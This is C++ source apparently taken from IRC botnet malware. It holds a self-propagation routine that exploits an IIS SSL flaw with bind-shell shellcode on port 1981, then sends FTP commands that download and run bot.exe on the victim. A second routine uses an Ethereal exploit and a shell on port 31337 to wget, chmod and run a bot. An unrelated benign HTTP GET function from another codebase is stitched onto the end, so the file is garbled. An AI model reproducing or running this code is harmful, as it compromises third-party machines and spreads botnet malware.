bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
unsigned int i;
unsigned char *badbuf, *p;
unsigned long offset=0x6741a1cd, XOR=0xffffffff;
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
/* hidden cmd.exe, bind port 1981 */
char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";
badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
strcat((char*)p, greetings_to_microsoft);
offset^=XOR; strncat((char*)p, (char*)&offset, 4);
strcat((char*)p, shellcode);
if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
Sleep(1000); CSocket outSocket;
if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
m_sSocket.Disconnect(); return false; }
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* Thanks to PhaTTy for this piece of code :) */
char mkdir_buff[400]="";
int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");
char szRecvBuf[8192];
if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
Sleep(500);
if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
/* successful!!! */
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
m_sSocket.Disconnect(); return true; }
bool CScannerEthereal::Exploit() {
if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false;
// We need root to exploit this cause we need to spoof packets
if(getuid()) return false;
ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3);
CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) {
CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000);
sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sCmdBuf.Format("wget ftp://bla:bla@%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n");
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sShellSocket.Disconnect(); return true; } else return false; }
CString ExecuteHTTPGet (const CString &sInput)
{
// Parse the input
char *pPos = sInput.GetParsePointer() + STR_HTTP_GET_PREFIX.GetLength();
// Parse the URL
CString sHost;
CString sPath;
if (!urlParse(pPos, NULL, &sHost, &sPath))
return CString("Invalid URL.");
// If no host, then local host
if (sHost.IsEmpty())
sHost = CString("localhost");
// Connect
CSocket theSocket;
if (!theSocket.Connect(sHost, 80))
return strPattern("Unable to connect to: %s.", sHost);
// Compose a request
CHTTPMessage Request;
Request.InitRequest(CString("GET"), sPath);
Request.AddHeader(HEADER_HOST, sHost);
Request.AddHeader(HEADER_CONNECTION, CString("keep-alive"));
#ifdef DEBUG_REQUEST_FRAGMENT_X
Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0 (This is a test of the header parsing system in Hexarc. There is probably a bug in which splitting the header across packets will cause failure of the HTTP parsing engine.)"));
#else
Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0"));
#endif
// Send the request
CBuffer Buffer(4096);
Request.WriteToBuffer(Buffer);
#ifdef DEBUG_REQUEST_FRAGMENT
int iTotalLen = Buffer.GetLength();
int iSplit = 105;
if (iSplit < iTotalLen)
{
printf("Split at %d bytes\n", iSplit);
CString sPart(Buffer.GetPointer(), iSplit);
printf("%s\n", (LPSTR)sPart);
theSocket.Write(Buffer.GetPointer(), iSplit);
::Sleep(10);
theSocket.Write(Buffer.GetPointer() + iSplit, iTotalLen - iSplit);
}
else
theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#else
theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#endif
// Now read the response. We build up a buffer to hold it.
CHTTPMessage Response;
CBuffer ResponseBuff;
// Keep reading until we've got enough (or until the connection drops)
while (!Response.IsMessageComplete())
{
CBuffer TempBuffer(8192);
// Read
int iBytesRead = theSocket.Read(TempBuffer.GetPointer(), 8192);
TempBuffer.SetLength(iBytesRead);
// If we're no making progress, then we're done
if (iBytesRead == 0)
return strPattern("Unable to read entire message.");
// Add to entire buffer
ResponseBuff.Write(TempBuffer.GetPointer(), iBytesRead);
// Parse to see if we're done
if (!Response.InitFromPartialBuffer(TempBuffer))
return strPattern("Unable to parse HTTP message.");
}
// Done
theSocket.Disconnect();
return CString(ResponseBuff.GetPointer(), ResponseBuff.GetLength());
}